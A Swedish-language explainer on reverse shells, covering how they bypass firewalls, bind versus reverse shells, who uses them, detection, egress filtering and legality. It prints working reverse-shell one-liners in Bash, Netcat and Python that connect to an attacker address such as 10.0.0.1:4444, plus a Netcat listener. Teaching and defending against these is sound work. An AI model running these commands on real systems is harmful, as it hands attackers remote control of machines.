Omvänd Shell
TL;DR: Omvänd Shell
Ett omvänt shell, även känt som ett “connect-back shell”, är när ett komprometterat system ansluter till angriparen och ger dem en live-kommandoradssession.
Varför är detta viktigt?
- Omvända shell kan kringgå brandväggar eftersom de flesta brandväggar blockerar inkommande anslutningar men tillåter utgående.
- Angripare får verklig kontroll eftersom de kan köra kommandon precis som om de vore inloggade direkt.
- Omvända shell är mycket vanliga eftersom de är ett standardsteg efter att en angripare har utnyttjat ett system.
Föreställ dig det så här: istället för att angriparen försöker ta sig in, lurar de servern att nå ut till dem.
Vad är ett Omvänt Shell?
Ett omvänt shell är ett fjärrshell där offrets dator startar anslutningen till angriparens dator.
Normalt startar din dator anslutningen, som när du besöker en webbplats. Med ett omvänt shell är detta omvänt. Efter att angriparen har hittat ett sätt att köra kod, ansluter servern tillbaka till angriparen.
Ett enkelt sätt att komma ihåg det:
- Bind shell: Du försöker ansluta till servern. Om en brandvägg blockerar dig kan du inte komma igenom.
- Omvänt shell: Servern ansluter till dig. Eftersom utgående anslutningar vanligtvis är tillåtna kan du svara och ta kontroll.
Varför Omvända Shell är Viktiga
Säkerhetsteam fokuserar vanligtvis på försvar som brandväggar, lastbalanserare och begränsning av portar. Dessa fungerar tills en angripare lyckas köra kod inuti systemet.
När det händer blir det omvända shellet angriparens huvudsakliga sätt att stanna kvar.
Varför är detta farligt:
-
Utgående trafik är betrodd.
Brandväggar tillåter ofta utgående trafik på portar som 80 eller 443 för uppdateringar och API
. Omvända skal kan gömma sig i denna tillåtna trafik. -
Angripare kan behålla åtkomst.
Även om det ursprungliga säkerhetshålet är fixat, kan ett aktivt skal fortfarande låta angripare kontrollera systemet.
-
Det möjliggör lateral rörelse.
Med ett skal kan angripare utforska det interna nätverket, stjäla lösenord och flytta till andra datorer. En sårbarhet kan snabbt leda till att hela miljön komprometteras.
Hur ett omvänt skal fungerar
Ett omvänt skal har två huvuddelar: lyssnaren och nyttolasten.
1. Lyssnaren (Angriparsidan)
Angriparen använder ett program som väntar på anslutningar. Netcat är ett vanligt verktyg för detta.
nc -lvnp 4444
Detta kommando säger till angriparens dator att lyssna på port 4444 och vänta på en anslutning.
2. Nyttolasten (Offrets sida)
Efter att ha hittat en sårbarhet som fjärrkodexekvering, kör angriparen ett kommando på offrets server för att öppna ett skal och skicka det tillbaka.
bash -i >& /dev/tcp/angripar-ip/4444 0>&1
Detta kommando startar ett bash-skal och skickar all inmatning och utmatning till angriparens dator.
3. Anslutningen
Offrets server startar en utgående anslutning. Brandväggen ser detta som normalt och tillåter det. Angriparens lyssnare accepterar anslutningen, vilket ger angriparen ett aktivt skal på servern.
I detta skede har angriparen full interaktiv kontroll över servern.
Vanliga exempel på omvända skal
Angripare och etiska hackare justerar sin metod baserat på vilka verktyg som är tillgängliga på målsystemet.
Bash (Vanligt på Linux)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Netcat
Används när Netcat är tillgängligt på måldatorn.
nc -e /bin/sh 10.0.0.1 4444
Python
Python är mycket vanligt på moderna servrar.
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'
Omvänd Shell vs Bind Shell
Att känna till skillnaden mellan omvända shells och bind shells hjälper till att försvara nätverk.
| Funktion | Bind Shell | Omvänd Shell |
|---|---|---|
| Anslutningsriktning | Angripare till Offer | Offer till Angripare |
| Brandväggspåverkan | Ofta blockerad | Ofta tillåten |
| Nätverkskrav | Direkt åtkomst behövs | Fungerar genom NAT och brandväggar |
| Typisk användning | Interna nätverk | Verkliga attacker |
Vem Använder Omvända Shells?
- Penetrationstestare använder omvända shells för att bevisa att en sårbarhet kan leda till full systemkompromettering.
- Red teams använder omvända shells för att testa hur väl utgående trafik kontrolleras.
- Skadliga aktörer använder omvända shells för att distribuera ransomware, stjäla data eller röra sig längre in i ett nätverk.
- Systemadministratörer använder sällan omvända shells för fjärråtkomst. De föredrar vanligtvis säkra SSH-tunnlar.
Detektion och Förhindrande
Att stoppa omvända shells kräver flera lager av försvar.
-
Utgående trafikfiltrering
Servrar bör inte ha öppen tillgång till internet. Begränsa vilka destinationer och portar de kan använda.
-
Beteendeövervakning
En webbserver som startar en skalprocess, såsom /bin/bash eller cmd.exe, är mycket misstänkt.
-
Minska attackytan.
Ta bort oanvända verktyg som Netcat, kompilatorer och extra tolkar från produktionssystem.
Relaterade termer
- Remote Code Execution (RCE)
- Bind Shell
FAQ: Omvänd skal
Är ett omvänt skal olagligt?
Omvända skal är lagliga endast om du använder dem på system du äger eller har tydligt tillstånd att testa. Att använda dem utan tillstånd är olagligt.
Varför tillåter brandväggar omvända skal?
Brandväggar är byggda för att blockera inkommande hot och litar vanligtvis på utgående trafik. Omvända skal utnyttjar detta.
Kan ett antivirus upptäcka omvända skal?
Ibland. Antivirusprogram som använder signaturer kan hitta kända skalprogram, men filfria skal gjorda med Bash eller Python är mycket svårare att upptäcka.
Vad är skillnaden mellan ett omvänt skal och ett webskal?
Ett webskal används via en webbläsare och stannar vanligtvis på systemet, men har begränsade funktioner. Ett omvänt skal ger en live, interaktiv kommandoradssession.